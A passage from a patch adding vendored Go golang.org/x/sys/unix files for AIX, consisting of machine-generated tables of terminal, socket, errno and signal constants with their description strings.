-+ TCGETS = 0x5401
-+ TCIFLUSH = 0x0
-+ TCIOFF = 0x2
-+ TCIOFLUSH = 0x2
-+ TCION = 0x3
-+ TCOFLUSH = 0x1
-+ TCOOFF = 0x0
-+ TCOON = 0x1
-+ TCP_24DAYS_WORTH_OF_SLOWTICKS = 0x3f4800
-+ TCP_ACLADD = 0x23
-+ TCP_ACLBIND = 0x26
-+ TCP_ACLCLEAR = 0x22
-+ TCP_ACLDEL = 0x24
-+ TCP_ACLDENY = 0x8
-+ TCP_ACLFLUSH = 0x21
-+ TCP_ACLGID = 0x1
-+ TCP_ACLLS = 0x25
-+ TCP_ACLSUBNET = 0x4
-+ TCP_ACLUID = 0x2
-+ TCP_CWND_DF = 0x16
-+ TCP_CWND_IF = 0x15
-+ TCP_DELAY_ACK_FIN = 0x2
-+ TCP_DELAY_ACK_SYN = 0x1
-+ TCP_FASTNAME = 0x101080a
-+ TCP_KEEPCNT = 0x13
-+ TCP_KEEPIDLE = 0x11
-+ TCP_KEEPINTVL = 0x12
-+ TCP_LSPRIV = 0x29
-+ TCP_LUID = 0x20
-+ TCP_MAXBURST = 0x8
-+ TCP_MAXDF = 0x64
-+ TCP_MAXIF = 0x64
-+ TCP_MAXSEG = 0x2
-+ TCP_MAXWIN = 0xffff
-+ TCP_MAXWINDOWSCALE = 0xe
-+ TCP_MAX_SACK = 0x4
-+ TCP_MSS = 0x5b4
-+ TCP_NODELAY = 0x1
-+ TCP_NODELAYACK = 0x14
-+ TCP_NOREDUCE_CWND_EXIT_FRXMT = 0x19
-+ TCP_NOREDUCE_CWND_IN_FRXMT = 0x18
-+ TCP_NOTENTER_SSTART = 0x17
-+ TCP_OPT = 0x19
-+ TCP_RFC1323 = 0x4
-+ TCP_SETPRIV = 0x27
-+ TCP_STDURG = 0x10
-+ TCP_TIMESTAMP_OPTLEN = 0xc
-+ TCP_UNSETPRIV = 0x28
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETSF = 0x5404
-+ TCSETSW = 0x5403
-+ TCXONC = 0x540b
-+ TIMER_ABSTIME = 0x3e7
-+ TIMER_MAX = 0x20
-+ TIOC = 0x5400
-+ TIOCCBRK = 0x2000747a
-+ TIOCCDTR = 0x20007478
-+ TIOCCONS = 0x80047462
-+ TIOCEXCL = 0x2000740d
-+ TIOCFLUSH = 0x80047410
-+ TIOCGETC = 0x40067412
-+ TIOCGETD = 0x40047400
-+ TIOCGETP = 0x40067408
-+ TIOCGLTC = 0x40067474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGSID = 0x40047448
-+ TIOCGSIZE = 0x40087468
-+ TIOCGWINSZ = 0x40087468
-+ TIOCHPCL = 0x20007402
-+ TIOCLBIC = 0x8004747e
-+ TIOCLBIS = 0x8004747f
-+ TIOCLGET = 0x4004747c
-+ TIOCLSET = 0x8004747d
-+ TIOCMBIC = 0x8004746b
-+ TIOCMBIS = 0x8004746c
-+ TIOCMGET = 0x4004746a
-+ TIOCMIWAIT = 0x80047464
-+ TIOCMODG = 0x40047403
-+ TIOCMODS = 0x80047404
-+ TIOCMSET = 0x8004746d
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_DTR = 0x2
-+ TIOCM_LE = 0x1
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_RTS = 0x4
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x20007471
-+ TIOCNXCL = 0x2000740e
-+ TIOCOUTQ = 0x40047473
-+ TIOCPKT = 0x80047470
-+ TIOCPKT_DATA = 0x0
-+ TIOCPKT_DOSTOP = 0x20
-+ TIOCPKT_FLUSHREAD = 0x1
-+ TIOCPKT_FLUSHWRITE = 0x2
-+ TIOCPKT_NOSTOP = 0x10
-+ TIOCPKT_START = 0x8
-+ TIOCPKT_STOP = 0x4
-+ TIOCREMOTE = 0x80047469
-+ TIOCSBRK = 0x2000747b
-+ TIOCSDTR = 0x20007479
-+ TIOCSETC = 0x80067411
-+ TIOCSETD = 0x80047401
-+ TIOCSETN = 0x8006740a
-+ TIOCSETP = 0x80067409
-+ TIOCSLTC = 0x80067475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSSIZE = 0x80087467
-+ TIOCSTART = 0x2000746e
-+ TIOCSTI = 0x80017472
-+ TIOCSTOP = 0x2000746f
-+ TIOCSWINSZ = 0x80087467
-+ TIOCUCNTL = 0x80047466
-+ TOSTOP = 0x10000
-+ UTIME_NOW = -0x2
-+ UTIME_OMIT = -0x3
-+ VDISCRD = 0xc
-+ VDSUSP = 0xa
-+ VEOF = 0x4
-+ VEOL = 0x5
-+ VEOL2 = 0x6
-+ VERASE = 0x2
-+ VINTR = 0x0
-+ VKILL = 0x3
-+ VLNEXT = 0xe
-+ VMIN = 0x4
-+ VQUIT = 0x1
-+ VREPRINT = 0xb
-+ VSTART = 0x7
-+ VSTOP = 0x8
-+ VSTRT = 0x7
-+ VSUSP = 0x9
-+ VT0 = 0x0
-+ VT1 = 0x8000
-+ VTDELAY = 0x2000
-+ VTDLY = 0x8000
-+ VTIME = 0x5
-+ VWERSE = 0xd
-+ WPARSTART = 0x1
-+ WPARSTOP = 0x2
-+ WPARTTYNAME = "Global"
-+ XCASE = 0x4
-+ XTABS = 0xc00
-+ _FDATAFLUSH = 0x2000000000
-+)
-+
-+// Errors
-+const (
-+ E2BIG = syscall.Errno(0x7)
-+ EACCES = syscall.Errno(0xd)
-+ EADDRINUSE = syscall.Errno(0x43)
-+ EADDRNOTAVAIL = syscall.Errno(0x44)
-+ EAFNOSUPPORT = syscall.Errno(0x42)
-+ EAGAIN = syscall.Errno(0xb)
-+ EALREADY = syscall.Errno(0x38)
-+ EBADF = syscall.Errno(0x9)
-+ EBADMSG = syscall.Errno(0x78)
-+ EBUSY = syscall.Errno(0x10)
-+ ECANCELED = syscall.Errno(0x75)
-+ ECHILD = syscall.Errno(0xa)
-+ ECHRNG = syscall.Errno(0x25)
-+ ECLONEME = syscall.Errno(0x52)
-+ ECONNABORTED = syscall.Errno(0x48)
-+ ECONNREFUSED = syscall.Errno(0x4f)
-+ ECONNRESET = syscall.Errno(0x49)
-+ ECORRUPT = syscall.Errno(0x59)
-+ EDEADLK = syscall.Errno(0x2d)
-+ EDESTADDREQ = syscall.Errno(0x3a)
-+ EDESTADDRREQ = syscall.Errno(0x3a)
-+ EDIST = syscall.Errno(0x35)
-+ EDOM = syscall.Errno(0x21)
-+ EDQUOT = syscall.Errno(0x58)
-+ EEXIST = syscall.Errno(0x11)
-+ EFAULT = syscall.Errno(0xe)
-+ EFBIG = syscall.Errno(0x1b)
-+ EFORMAT = syscall.Errno(0x30)
-+ EHOSTDOWN = syscall.Errno(0x50)
-+ EHOSTUNREACH = syscall.Errno(0x51)
-+ EIDRM = syscall.Errno(0x24)
-+ EILSEQ = syscall.Errno(0x74)
-+ EINPROGRESS = syscall.Errno(0x37)
-+ EINTR = syscall.Errno(0x4)
-+ EINVAL = syscall.Errno(0x16)
-+ EIO = syscall.Errno(0x5)
-+ EISCONN = syscall.Errno(0x4b)
-+ EISDIR = syscall.Errno(0x15)
-+ EL2HLT = syscall.Errno(0x2c)
-+ EL2NSYNC = syscall.Errno(0x26)
-+ EL3HLT = syscall.Errno(0x27)
-+ EL3RST = syscall.Errno(0x28)
-+ ELNRNG = syscall.Errno(0x29)
-+ ELOOP = syscall.Errno(0x55)
-+ EMEDIA = syscall.Errno(0x6e)
-+ EMFILE = syscall.Errno(0x18)
-+ EMLINK = syscall.Errno(0x1f)
-+ EMSGSIZE = syscall.Errno(0x3b)
-+ EMULTIHOP = syscall.Errno(0x7d)
-+ ENAMETOOLONG = syscall.Errno(0x56)
-+ ENETDOWN = syscall.Errno(0x45)
-+ ENETRESET = syscall.Errno(0x47)
-+ ENETUNREACH = syscall.Errno(0x46)
-+ ENFILE = syscall.Errno(0x17)
-+ ENOATTR = syscall.Errno(0x70)
-+ ENOBUFS = syscall.Errno(0x4a)
-+ ENOCONNECT = syscall.Errno(0x32)
-+ ENOCSI = syscall.Errno(0x2b)
-+ ENODATA = syscall.Errno(0x7a)
-+ ENODEV = syscall.Errno(0x13)
-+ ENOENT = syscall.Errno(0x2)
-+ ENOEXEC = syscall.Errno(0x8)
-+ ENOLCK = syscall.Errno(0x31)
-+ ENOLINK = syscall.Errno(0x7e)
-+ ENOMEM = syscall.Errno(0xc)
-+ ENOMSG = syscall.Errno(0x23)
-+ ENOPROTOOPT = syscall.Errno(0x3d)
-+ ENOSPC = syscall.Errno(0x1c)
-+ ENOSR = syscall.Errno(0x76)
-+ ENOSTR = syscall.Errno(0x7b)
-+ ENOSYS = syscall.Errno(0x6d)
-+ ENOTBLK = syscall.Errno(0xf)
-+ ENOTCONN = syscall.Errno(0x4c)
-+ ENOTDIR = syscall.Errno(0x14)
-+ ENOTEMPTY = syscall.Errno(0x11)
-+ ENOTREADY = syscall.Errno(0x2e)
-+ ENOTRECOVERABLE = syscall.Errno(0x5e)
-+ ENOTRUST = syscall.Errno(0x72)
-+ ENOTSOCK = syscall.Errno(0x39)
-+ ENOTSUP = syscall.Errno(0x7c)
-+ ENOTTY = syscall.Errno(0x19)
-+ ENXIO = syscall.Errno(0x6)
-+ EOPNOTSUPP = syscall.Errno(0x40)
-+ EOVERFLOW = syscall.Errno(0x7f)
-+ EOWNERDEAD = syscall.Errno(0x5f)
-+ EPERM = syscall.Errno(0x1)
-+ EPFNOSUPPORT = syscall.Errno(0x41)
-+ EPIPE = syscall.Errno(0x20)
-+ EPROCLIM = syscall.Errno(0x53)
-+ EPROTO = syscall.Errno(0x79)
-+ EPROTONOSUPPORT = syscall.Errno(0x3e)
-+ EPROTOTYPE = syscall.Errno(0x3c)
-+ ERANGE = syscall.Errno(0x22)
-+ EREMOTE = syscall.Errno(0x5d)
-+ ERESTART = syscall.Errno(0x52)
-+ EROFS = syscall.Errno(0x1e)
-+ ESAD = syscall.Errno(0x71)
-+ ESHUTDOWN = syscall.Errno(0x4d)
-+ ESOCKTNOSUPPORT = syscall.Errno(0x3f)
-+ ESOFT = syscall.Errno(0x6f)
-+ ESPIPE = syscall.Errno(0x1d)
-+ ESRCH = syscall.Errno(0x3)
-+ ESTALE = syscall.Errno(0x34)
-+ ESYSERROR = syscall.Errno(0x5a)
-+ ETIME = syscall.Errno(0x77)
-+ ETIMEDOUT = syscall.Errno(0x4e)
-+ ETOOMANYREFS = syscall.Errno(0x73)
-+ ETXTBSY = syscall.Errno(0x1a)
-+ EUNATCH = syscall.Errno(0x2a)
-+ EUSERS = syscall.Errno(0x54)
-+ EWOULDBLOCK = syscall.Errno(0xb)
-+ EWRPROTECT = syscall.Errno(0x2f)
-+ EXDEV = syscall.Errno(0x12)
-+)
-+
-+// Signals
-+const (
-+ SIGABRT = syscall.Signal(0x6)
-+ SIGAIO = syscall.Signal(0x17)
-+ SIGALRM = syscall.Signal(0xe)
-+ SIGALRM1 = syscall.Signal(0x26)
-+ SIGBUS = syscall.Signal(0xa)
-+ SIGCAPI = syscall.Signal(0x31)
-+ SIGCHLD = syscall.Signal(0x14)
-+ SIGCLD = syscall.Signal(0x14)
-+ SIGCONT = syscall.Signal(0x13)
-+ SIGCPUFAIL = syscall.Signal(0x3b)
-+ SIGDANGER = syscall.Signal(0x21)
-+ SIGEMT = syscall.Signal(0x7)
-+ SIGFPE = syscall.Signal(0x8)
-+ SIGGRANT = syscall.Signal(0x3c)
-+ SIGHUP = syscall.Signal(0x1)
-+ SIGILL = syscall.Signal(0x4)
-+ SIGINT = syscall.Signal(0x2)
-+ SIGIO = syscall.Signal(0x17)
-+ SIGIOINT = syscall.Signal(0x10)
-+ SIGIOT = syscall.Signal(0x6)
-+ SIGKAP = syscall.Signal(0x3c)
-+ SIGKILL = syscall.Signal(0x9)
-+ SIGLOST = syscall.Signal(0x6)
-+ SIGMAX = syscall.Signal(0x3f)
-+ SIGMAX32 = syscall.Signal(0x3f)
-+ SIGMIGRATE = syscall.Signal(0x23)
-+ SIGMSG = syscall.Signal(0x1b)
-+ SIGPIPE = syscall.Signal(0xd)
-+ SIGPOLL = syscall.Signal(0x17)
-+ SIGPRE = syscall.Signal(0x24)
-+ SIGPROF = syscall.Signal(0x20)
-+ SIGPTY = syscall.Signal(0x17)
-+ SIGPWR = syscall.Signal(0x1d)
-+ SIGQUIT = syscall.Signal(0x3)
-+ SIGRECONFIG = syscall.Signal(0x3a)
-+ SIGRETRACT = syscall.Signal(0x3d)
-+ SIGSAK = syscall.Signal(0x3f)
-+ SIGSEGV = syscall.Signal(0xb)
-+ SIGSOUND = syscall.Signal(0x3e)
-+ SIGSTOP = syscall.Signal(0x11)
-+ SIGSYS = syscall.Signal(0xc)
-+ SIGSYSERROR = syscall.Signal(0x30)
-+ SIGTALRM = syscall.Signal(0x26)
-+ SIGTERM = syscall.Signal(0xf)
-+ SIGTRAP = syscall.Signal(0x5)
-+ SIGTSTP = syscall.Signal(0x12)
-+ SIGTTIN = syscall.Signal(0x15)
-+ SIGTTOU = syscall.Signal(0x16)
-+ SIGURG = syscall.Signal(0x10)
-+ SIGUSR1 = syscall.Signal(0x1e)
-+ SIGUSR2 = syscall.Signal(0x1f)
-+ SIGVIRT = syscall.Signal(0x25)
-+ SIGVTALRM = syscall.Signal(0x22)
-+ SIGWAITING = syscall.Signal(0x27)
-+ SIGWINCH = syscall.Signal(0x1c)
-+ SIGXCPU = syscall.Signal(0x18)
-+ SIGXFSZ = syscall.Signal(0x19)
-+)
-+
-+// Error table
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "not owner"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "I/O error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "arg list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file number"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EWOULDBLOCK", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "not enough space"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "ENOTEMPTY", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "file table overflow"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "not a typewriter"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "deadlock condition if locked"},
-+ {46, "ENOTREADY", "device not ready"},
-+ {47, "EWRPROTECT", "write-protected media"},
-+ {48, "EFORMAT", "unformatted or incompatible media"},
-+ {49, "ENOLCK", "no locks available"},
-+ {50, "ENOCONNECT", "cannot Establish Connection"},
-+ {52, "ESTALE", "missing file or filesystem"},
-+ {53, "EDIST", "requests blocked by Administrator"},
-+ {55, "EINPROGRESS", "operation now in progress"},
-+ {56, "EALREADY", "operation already in progress"},
-+ {57, "ENOTSOCK", "socket operation on non-socket"},
-+ {58, "EDESTADDREQ", "destination address required"},
-+ {59, "EMSGSIZE", "message too long"},
-+ {60, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {61, "ENOPROTOOPT", "protocol not available"},
-+ {62, "EPROTONOSUPPORT", "protocol not supported"},
-+ {63, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {64, "EOPNOTSUPP", "operation not supported on socket"},
-+ {65, "EPFNOSUPPORT", "protocol family not supported"},
-+ {66, "EAFNOSUPPORT", "addr family not supported by protocol"},
-+ {67, "EADDRINUSE", "address already in use"},
-+ {68, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {69, "ENETDOWN", "network is down"},
-+ {70, "ENETUNREACH", "network is unreachable"},
-+ {71, "ENETRESET", "network dropped connection on reset"},
-+ {72, "ECONNABORTED", "software caused connection abort"},
-+ {73, "ECONNRESET", "connection reset by peer"},
-+ {74, "ENOBUFS", "no buffer space available"},
-+ {75, "EISCONN", "socket is already connected"},
-+ {76, "ENOTCONN", "socket is not connected"},
-+ {77, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {78, "ETIMEDOUT", "connection timed out"},
-+ {79, "ECONNREFUSED", "connection refused"},
-+ {80, "EHOSTDOWN", "host is down"},
-+ {81, "EHOSTUNREACH", "no route to host"},
-+ {82, "ERESTART", "restart the system call"},
-+ {83, "EPROCLIM", "too many processes"},
-+ {84, "EUSERS", "too many users"},
-+ {85, "ELOOP", "too many levels of symbolic links"},
-+ {86, "ENAMETOOLONG", "file name too long"},
-+ {88, "EDQUOT", "disk quota exceeded"},
-+ {89, "ECORRUPT", "invalid file system control data detected"},
-+ {90, "ESYSERROR", "for future use "},
-+ {93, "EREMOTE", "item is not local to host"},
-+ {94, "ENOTRECOVERABLE", "state not recoverable "},
-+ {95, "EOWNERDEAD", "previous owner died "},
-+ {109, "ENOSYS", "function not implemented"},
-+ {110, "EMEDIA", "media surface error"},
-+ {111, "ESOFT", "I/O completed, but needs relocation"},
-+ {112, "ENOATTR", "no attribute found"},
-+ {113, "ESAD", "security Authentication Denied"},
-+ {114, "ENOTRUST", "not a Trusted Program"},
-+ {115, "ETOOMANYREFS", "too many references: can't splice"},
-+ {116, "EILSEQ", "invalid wide character"},
-+ {117, "ECANCELED", "asynchronous I/O cancelled"},
-+ {118, "ENOSR", "out of STREAMS resources"},
-+ {119, "ETIME", "system call timed out"},
-+ {120, "EBADMSG", "next message has wrong type"},
-+ {121, "EPROTO", "error in protocol"},
-+ {122, "ENODATA", "no message on stream head read q"},
-+ {123, "ENOSTR", "fd not associated with a stream"},
-+ {124, "ENOTSUP", "unsupported attribute value"},
-+ {125, "EMULTIHOP", "multihop is not allowed"},
-+ {126, "ENOLINK", "the server link has been severed"},
-+ {127, "EOVERFLOW", "value too large to be stored in data type"},
-+}
-+
-+// Signal table
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "IOT/Abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible/complete"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {27, "SIGMSG", "input device data"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGPWR", "power-failure"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPROF", "profiling timer expired"},
-+ {33, "SIGDANGER", "paging space low"},
-+ {34, "SIGVTALRM", "virtual timer expired"},
-+ {35, "SIGMIGRATE", "signal 35"},
-+ {36, "SIGPRE", "signal 36"},
-+ {37, "SIGVIRT", "signal 37"},
-+ {38, "SIGTALRM", "signal 38"},
-+ {39, "SIGWAITING", "signal 39"},
-+ {48, "SIGSYSERROR", "signal 48"},
-+ {49, "SIGCAPI", "signal 49"},
-+ {58, "SIGRECONFIG", "signal 58"},
-+ {59, "SIGCPUFAIL", "CPU Failure Predicted"},
-+ {60, "SIGKAP", "monitor mode granted"},
-+ {61, "SIGRETRACT", "monitor mode retracted"},
-+ {62, "SIGSOUND", "sound completed"},
-+ {63, "SIGSAK", "secure attention"},
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_aix_ppc64.go b/vendor/golang.org/x/sys/unix/zerrors_aix_ppc64.go
-new file mode 100644
-index 00000000..4fc8d306
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zerrors_aix_ppc64.go
-@@ -0,0 +1,1385 @@
-+// mkerrors.sh -maix64
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build ppc64,aix
-+
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
-+// cgo -godefs -- -maix64 _const.go
-+
-+package unix
-+
-+import "syscall"
-+
-+const (
-+ AF_APPLETALK = 0x10
-+ AF_BYPASS = 0x19
-+ AF_CCITT = 0xa
-+ AF_CHAOS = 0x5
-+ AF_DATAKIT = 0x9
-+ AF_DECnet = 0xc
-+ AF_DLI = 0xd
-+ AF_ECMA = 0x8
-+ AF_HYLINK = 0xf
-+ AF_IMPLINK = 0x3
-+ AF_INET = 0x2
-+ AF_INET6 = 0x18
-+ AF_INTF = 0x14
-+ AF_ISO = 0x7
-+ AF_LAT = 0xe
-+ AF_LINK = 0x12
-+ AF_LOCAL = 0x1
-+ AF_MAX = 0x1e
-+ AF_NDD = 0x17
-+ AF_NETWARE = 0x16
-+ AF_NS = 0x6
-+ AF_OSI = 0x7
-+ AF_PUP = 0x4
-+ AF_RIF = 0x15
-+ AF_ROUTE = 0x11
-+ AF_SNA = 0xb
-+ AF_UNIX = 0x1
-+ AF_UNSPEC = 0x0
-+ ALTWERASE = 0x400000
-+ ARPHRD_802_3 = 0x6
-+ ARPHRD_802_5 = 0x6
-+ ARPHRD_ETHER = 0x1
-+ ARPHRD_FDDI = 0x1
-+ B0 = 0x0
-+ B110 = 0x3
-+ B1200 = 0x9
-+ B134 = 0x4
-+ B150 = 0x5
-+ B1800 = 0xa
-+ B19200 = 0xe
-+ B200 = 0x6
-+ B2400 = 0xb
-+ B300 = 0x7
-+ B38400 = 0xf
-+ B4800 = 0xc
-+ B50 = 0x1
-+ B600 = 0x8
-+ B75 = 0x2
-+ B9600 = 0xd
-+ BRKINT = 0x2
-+ BS0 = 0x0
-+ BS1 = 0x1000
-+ BSDLY = 0x1000
-+ CAP_AACCT = 0x6
-+ CAP_ARM_APPLICATION = 0x5
-+ CAP_BYPASS_RAC_VMM = 0x3
-+ CAP_CLEAR = 0x0
-+ CAP_CREDENTIALS = 0x7
-+ CAP_EFFECTIVE = 0x1
-+ CAP_EWLM_AGENT = 0x4
-+ CAP_INHERITABLE = 0x2
-+ CAP_MAXIMUM = 0x7
-+ CAP_NUMA_ATTACH = 0x2
-+ CAP_PERMITTED = 0x3
-+ CAP_PROPAGATE = 0x1
-+ CAP_PROPOGATE = 0x1
-+ CAP_SET = 0x1
-+ CBAUD = 0xf
-+ CFLUSH = 0xf
-+ CIBAUD = 0xf0000
-+ CLOCAL = 0x800
-+ CLOCK_MONOTONIC = 0xa
-+ CLOCK_PROCESS_CPUTIME_ID = 0xb
-+ CLOCK_REALTIME = 0x9
-+ CLOCK_THREAD_CPUTIME_ID = 0xc
-+ CR0 = 0x0
-+ CR1 = 0x100
-+ CR2 = 0x200
-+ CR3 = 0x300
-+ CRDLY = 0x300
-+ CREAD = 0x80
-+ CS5 = 0x0
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIOCGIFCONF = -0x3fef96dc
-+ CSIZE = 0x30
-+ CSMAP_DIR = "/usr/lib/nls/csmap/"
-+ CSTART = '\021'
-+ CSTOP = '\023'
-+ CSTOPB = 0x40
-+ CSUSP = 0x1a
-+ ECHO = 0x8
-+ ECHOCTL = 0x20000
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x80000
-+ ECHONL = 0x40
-+ ECHOPRT = 0x40000
-+ ECH_ICMPID = 0x2
-+ ETHERNET_CSMACD = 0x6
-+ EVENP = 0x80
-+ EXCONTINUE = 0x0
-+ EXDLOK = 0x3
-+ EXIO = 0x2
-+ EXPGIO = 0x0
-+ EXRESUME = 0x2
-+ EXRETURN = 0x1
-+ EXSIG = 0x4
-+ EXTA = 0xe
-+ EXTB = 0xf
-+ EXTRAP = 0x1
-+ EYEC_RTENTRYA = 0x257274656e747241
-+ EYEC_RTENTRYF = 0x257274656e747246
-+ E_ACC = 0x0
-+ FD_CLOEXEC = 0x1
-+ FD_SETSIZE = 0xfffe
-+ FF0 = 0x0
-+ FF1 = 0x2000
-+ FFDLY = 0x2000
-+ FLUSHBAND = 0x40
-+ FLUSHLOW = 0x8
-+ FLUSHO = 0x100000
-+ FLUSHR = 0x1
-+ FLUSHRW = 0x3
-+ FLUSHW = 0x2
-+ F_CLOSEM = 0xa
-+ F_DUP2FD = 0xe
-+ F_DUPFD = 0x0
-+ F_GETFD = 0x1
-+ F_GETFL = 0x3
-+ F_GETLK = 0xb
-+ F_GETLK64 = 0xb
-+ F_GETOWN = 0x8
-+ F_LOCK = 0x1
-+ F_OK = 0x0
-+ F_RDLCK = 0x1
-+ F_SETFD = 0x2
-+ F_SETFL = 0x4
-+ F_SETLK = 0xc
-+ F_SETLK64 = 0xc
-+ F_SETLKW = 0xd
-+ F_SETLKW64 = 0xd
-+ F_SETOWN = 0x9
-+ F_TEST = 0x3
-+ F_TLOCK = 0x2
-+ F_TSTLK = 0xf
-+ F_ULOCK = 0x0
-+ F_UNLCK = 0x3
-+ F_WRLCK = 0x2
-+ HUPCL = 0x400
-+ IBSHIFT = 0x10
-+ ICANON = 0x2
-+ ICMP6_FILTER = 0x26
-+ ICMP6_SEC_SEND_DEL = 0x46
-+ ICMP6_SEC_SEND_GET = 0x47
-+ ICMP6_SEC_SEND_SET = 0x44
-+ ICMP6_SEC_SEND_SET_CGA_ADDR = 0x45
-+ ICRNL = 0x100
-+ IEXTEN = 0x200000
-+ IFA_FIRSTALIAS = 0x2000
-+ IFA_ROUTE = 0x1
-+ IFF_64BIT = 0x4000000
-+ IFF_ALLCAST = 0x20000
-+ IFF_ALLMULTI = 0x200
-+ IFF_BPF = 0x8000000
-+ IFF_BRIDGE = 0x40000
-+ IFF_BROADCAST = 0x2
-+ IFF_CANTCHANGE = 0x80c52
-+ IFF_CHECKSUM_OFFLOAD = 0x10000000
-+ IFF_D1 = 0x8000
-+ IFF_D2 = 0x4000
-+ IFF_D3 = 0x2000
-+ IFF_D4 = 0x1000
-+ IFF_DEBUG = 0x4
-+ IFF_DEVHEALTH = 0x4000
-+ IFF_DO_HW_LOOPBACK = 0x10000
-+ IFF_GROUP_ROUTING = 0x2000000
-+ IFF_IFBUFMGT = 0x800000
-+ IFF_LINK0 = 0x100000
-+ IFF_LINK1 = 0x200000
-+ IFF_LINK2 = 0x400000
-+ IFF_LOOPBACK = 0x8
-+ IFF_MULTICAST = 0x80000
-+ IFF_NOARP = 0x80
-+ IFF_NOECHO = 0x800
-+ IFF_NOTRAILERS = 0x20
-+ IFF_OACTIVE = 0x400
-+ IFF_POINTOPOINT = 0x10
-+ IFF_PROMISC = 0x100
-+ IFF_PSEG = 0x40000000
-+ IFF_RUNNING = 0x40
-+ IFF_SIMPLEX = 0x800
-+ IFF_SNAP = 0x8000
-+ IFF_TCP_DISABLE_CKSUM = 0x20000000
-+ IFF_TCP_NOCKSUM = 0x1000000
-+ IFF_UP = 0x1
-+ IFF_VIPA = 0x80000000
-+ IFNAMSIZ = 0x10
-+ IFO_FLUSH = 0x1
-+ IFT_1822 = 0x2
-+ IFT_AAL5 = 0x31
-+ IFT_ARCNET = 0x23
-+ IFT_ARCNETPLUS = 0x24
-+ IFT_ATM = 0x25
-+ IFT_CEPT = 0x13
-+ IFT_CLUSTER = 0x3e
-+ IFT_DS3 = 0x1e
-+ IFT_EON = 0x19
-+ IFT_ETHER = 0x6
-+ IFT_FCS = 0x3a
-+ IFT_FDDI = 0xf
-+ IFT_FRELAY = 0x20
-+ IFT_FRELAYDCE = 0x2c
-+ IFT_GIFTUNNEL = 0x3c
-+ IFT_HDH1822 = 0x3
-+ IFT_HF = 0x3d
-+ IFT_HIPPI = 0x2f
-+ IFT_HSSI = 0x2e
-+ IFT_HY = 0xe
-+ IFT_IB = 0xc7
-+ IFT_ISDNBASIC = 0x14
-+ IFT_ISDNPRIMARY = 0x15
